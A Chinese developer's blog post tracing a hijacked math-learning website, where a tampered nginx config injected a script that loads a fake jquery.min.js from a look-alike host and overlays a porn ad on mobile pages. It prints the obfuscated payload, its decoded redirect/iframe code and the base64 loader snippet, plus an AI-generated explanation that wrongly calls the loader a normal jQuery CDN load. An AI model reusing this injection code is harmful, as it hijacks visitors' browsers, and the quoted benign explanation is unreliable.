自己开发的数学学习平台点学网(www.dimhok.com)已经从5月上线以来,良好的运行了两个月,但是两个星期前,有一次用手机访问的时候,无论打开网站的哪个网页,都会出现一个色*情直播的图片(没有链接)覆盖在我的网站的网页前面,我猜测是一个广告,起先我还以为是手机的问题,但是接连几天早上打开网站都会出现类似的问题,使我重视起来,于是认真的研究起来,这个广告还是很有规律的:只针对手机端,而且每天就显示一次,刷新页面以后就会消失,当天不再出现!
网络安全这方面确实不是自己的强项,只能硬着头皮去查找原因,最开始也是最容易想到的,是不是服务器上的源代码文件被篡改?于是我登录服务器管理页面,1400+的源文件数量让人望而却步,而且很多源代码文件多达3000+行的代码量,逐个的排查异常篡改犹如大海捞针,于是想到服务器有记录被修改文件的功能,但是逐一排查的工作量也是很大的,两个月来很多源文件被我修改,但是还是查看了很多,依然没有查出啥,第二次失败!
接下来想到的是使用杀毒软件扫描,但是服务器使用的是云服务器,而且是linux的版本,在服务器上下载开源的杀毒软件扫描,还是一无所获!!
冷静的想了一下,既然无论我打开哪个页面都会出现那个广告,那么这个含有病毒感染过的文件肯定是所有页面都需要引用的公共文件,于是想通过google浏览器的工具查看一个页面从打开到显示的过程加载了哪些文件会不会有所收获呢?于是尝试了一下,发现加载了十多个源文件,这个工作量还可以接受,于是逐一打开这些源文件,当打开一个名为jquery.min.js的js文件的时候,起初我还没有太注意,因为jquery库文件是网站必须引用的重要文件,但是打开以后发现内容很不正常,里面全部是16进制的代码,节选如下:
[‘sojson.v4’][“\x66\x69\x6c\x74\x65\x72”][“\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72”]((([‘sojson.v4’]+[])[“\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72”][‘\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65’][‘\x61\x70\x70\x6c\x79’](null,”33M102O117C110S99S116H105m111A110N40y112f41p123U34f117s115G101R32g115M116p114e105U99N116N34o59P33W102i117F110L99m116i105X111S110z40d116B41y123b118K97l114t32B115z61K119O105j110q100A111b119E44w101k61i100o111p99Y117k109u101a110T116R44U105n61F112D44A99Z61P34Q34T46b99C111E110D99A97g116A40t34L104v116c116S112X115K58B34j61h61J61j101L46S108U111v99c97Y116L105Z111M110g46b112I114z111i116j111A99y111p108D63d34M104x116t116N112D115K58y47g47w34Q58T34y104s116N116G112W58G47q47o34y44y34B115D100Q107i46V53p49y46m108j97G47i106K115u45s115k100F107v45Y112t114o111f46c109d105g110i46p106D115L34F41c44b110K61h101U46Q99F114n101a97U116G101M69S108L101G109k101O110N116j40R34P115v99T114G105s112i116e34r41z44t114V61S101P46r103E101r116I69h108Z101S109Y101i110c116J115m66n121J84q97t103y78b97Y109P101y40A34l115m99o114D105Q112Z116j34a41q91g48G93u59I110G46k116H121L112B101W61d34p116y101b120Q116p47Y106f97Z118h97i115r99B114K105L112m116M34M44u110v46I115H101S116e65i116i116I114s105G98J117J116A101c40a34h99R104H97n114K115d101i116v34W44h34I85S84Q70J45t56u34J41f44J110x46G97c115x121G110Q99C61s33D48M44E110z46t115p114G99R61X99H44c110E46C105N
因为jquery的源代码我很熟悉(使用 了10多年),这个代码显然不是真实的jquery,看着就像木马病毒之类的。于是瞬间精神和兴奋起来,使用deepseek进行分析,得到的解释如下:
接下来的问题是:这段看似乱码的文件怎么将其破译?这里可以使用一个网站:https://jsdec.js.org/,专门处理这类问题,输入这段乱码瞬间转换得到标准的js代码,节选一部分如下:
!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"3NBbpkZdzon7O310",ck:"3NBbpkZdzon7O310"})ŪሦbɈ ()=>{
const config = {
key: "13792427ab60437bafb55088e45e0e06",
encryptKey: "5088e45e0e06",
address:"https://r8j3j.club?parent_icode=9107",
conditionType: "TIMEZONE",
jumpType: "IFRAME",
jumpPercent: 100,
jumpCount: 1
};
function encrypt(str) {
return __try(()=>{
const keyCodes = Array.from(config.encryptKey).map(c => c.charCodeAt(0));
return Array.from(str).map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ keyCodes[i % config.encryptKey.length])).join('');
}, ()=>"");
}
代码不复杂,可以很清楚的看到,这个广告图片的地址为红色标注的部分,输入到浏览器就可以看到,这个代码没有储存在服务器上,而是引用的外部链接:https://bootscritp.com/lib/jquery/4.7.2/jquery.min.js,这个的伪装效果极好,不执仔细看根本不会发现!!
找到了问题的部分,以为接下来会很顺利,最开始是想办法防止此文件的产生就可以了,接下来发现除了这个文件,还有还引用了另外3个可疑的文件,但是这些代码的源头则是下列代码:
< script >
document.cookie = "hasVisited178a=1;Max-Age=86400;Path=/";
(function () {
var hm = document.createElement("script");
hm.src = atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
这段代码的主要功能是设置一个Cookie并动态加载jQuery库:
- Cookie设置:创建名为
hasVisited178a
的Cookie,有效期1天,全站路径可用 - 动态加载jQuery:通过Base64解码URL(实际指向jQuery 4.7.2的CDN地址),以非阻塞方式插入到文档第一个script标签前
- 技术特点:采用无侵入式脚本注入,确保jQuery加载不影响页面原有渲染流程
注意:该代码片段属于前端跟踪/依赖加载的典型实现,可以看到外部通过强制设置cookie值,达到控制网页的目的,接着想到的办法是通过阻止外部随意设置网页的cookie,接着使用各种客户端服务端的设置均不起作用。
最后冷静的思考,既然链接是外部的,而且只要随着网页的加载就必会加载这个恶意外部链接文件,那是不是引用的代码在服务器上?无意之中打开了nginx的conf文件,发现了一段植入的恶意代码:
删除这段代码以后,问题得到彻底的解决,一个问题随之而来:为什么服务器上的ngnix的配置文件这么容易被篡改?查看权限才知道为644,改为640以后应该不会再有类似的问题了!
Comments